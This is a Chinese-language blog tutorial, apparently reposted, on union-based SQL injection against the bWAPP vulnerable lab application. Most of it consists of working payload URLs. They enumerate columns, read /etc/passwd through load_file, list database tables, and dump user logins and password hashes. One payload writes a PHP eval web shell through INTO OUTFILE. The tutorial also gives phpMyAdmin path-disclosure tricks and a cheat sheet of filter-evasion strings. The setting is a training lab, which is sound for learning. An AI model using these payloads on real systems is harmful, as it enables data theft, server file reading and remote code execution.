bWAPP系列之-SQL Injection(union query based )

本文为原创,重在学习,轻在打赏。

环境介绍

靶机采用bWAPP(buggy web Application),环境为Apache+PHP+MySQL。
下载地址:https://sourceforge.net/projects/bwapp/files/bee-box/

联合查询(Union query based)

以sqli_1.php为例,为GET请求Search类型,下图为正常链接:

http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

加单引号报错,注意报错信息为SQL语句报错:

http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a' 

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

验证SQL语句可执行逻辑语句,其中– X为SQL语句注释语法:

http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a' or 1=1 -- X # 永真,全部显示
http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a' or 1=2 -- X # 无法判断真假

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

三步可验证存在SQL注入漏洞,下一步猜测字段数。从1开始增加,发现7正常,8报错,说明表中可显示字段为7列。

http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a' order by 7 -- X
http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a' order by 8 -- X

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

PS:你不会真的+1+1吧?二分查找好吧……
采用Union query联合查询,查看可显示字段:

http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a' and 1=2 union select 1,2,3,4,5,6,7 -- X

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

选用2所在字段显示,加入MySQL参数,user()函数返回当前用户:

http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a' and 1=2 union select 1,user(),3,4,5,6,7 -- X

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

使用concat_ws函数,多条目显示:

http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a' and 1=2 union select 1,concat_ws(char(32,58,32),0x7c,user(),database(),version()),3,4,5,6,7 -- X

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

使用load_file函数读取系统文件,字符需转换为16进制,以 /etc/passwd 为例:

http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a' and 1=2 union select 1,load_file(0x2f6574632f706173737764),3,4,5,6,7 -- X

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

MySQL 5.0之后有增加了系统表information_schema,可从其中查询所需信息,下面查询当前库中所有表名:

http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a' and 1=2 union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database() -- X

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

明显user表重要啊,查询表字段,统一需转换为16进制:

http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a' and 1=2 union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name=0x7573657273 -- X

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

不必多说,你懂得:

http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a' and 1=2 union select 1,id,login,4,password,6,7 from users -- X

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

MD5……

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

至此MySQL的Union query based注入基本流程完毕,实际中不会如此简单,具体问题具体分析吧!附几个有用的技巧:
暴出PHP信息页面

http://192.168.111.21/bWAPP/sqli_1.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

暴出PHP绝对路径:

http://192.168.111.21/phpmyadmin/themes/darkblue_orange/layout.inc.php
http://192.168.111.21/phpmyadmin/libraries/select_lang.lib.php

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

《bWAPP系列之-SQL Injection(union query based )》 Paste_Image.png

其他,未测试:

www.xxx.cn/phpmyadmin/index.php?lang[]=1 
phpadmin 地址

http://192.168.111.21/bWAPP/sqli_1.php?action=search&title=a' and 1=2 union select 1,2,3,char(0x3c3f70687020406576616c28245f504f53545b27313233275d293b3f3e),5,6,7 into outfile '/usr/share/phpmyadmin/test1.php' -- X
写入一句话木马,测试账号无写权限,测试失败

说明:
--为注释符,需要空格,加一个任意字符保留空格。
其他注释符:
#, 
-- X(X为任意字符)
/*(MySQL-5.1)
;%00
`
'or 1=1;%00
'or 1=1 union select 1,2`'
'or 1=1 #
'/*!50000or*/ 1=1 -- -      //版本号为5.1.38时只要小于50138
'/*!or*/ 1=1 -- -

可用函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003

空格过滤
过滤代码/\s/
%20, %09, %0a, %0b, %0c, %0d, %a0
使用/**/或()或+代替空格

多条数据显示
concat()
group_concat()
concat_ws()

mysql3.x读取方法
create table a(cmd text);
load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;
select * from a;
mysql4.x读取方法
除上述方法还可以使用load_file()
create table a(cmd text);
insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));
select * from a;
mysql5.x读取方法
上述两种都可以

指定显示条目
http://192.168.1.25/bWAPP/sqli_2.php?action=go&movie=2  and 1=2 union select id,2,login,4,password,6,7 from users  LIMIT 1,1 -- X
LIMIT 1,1 从1开始,取第1条。
    原文作者:重剑不工
    原文地址: https://www.jianshu.com/p/d7192b999394
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞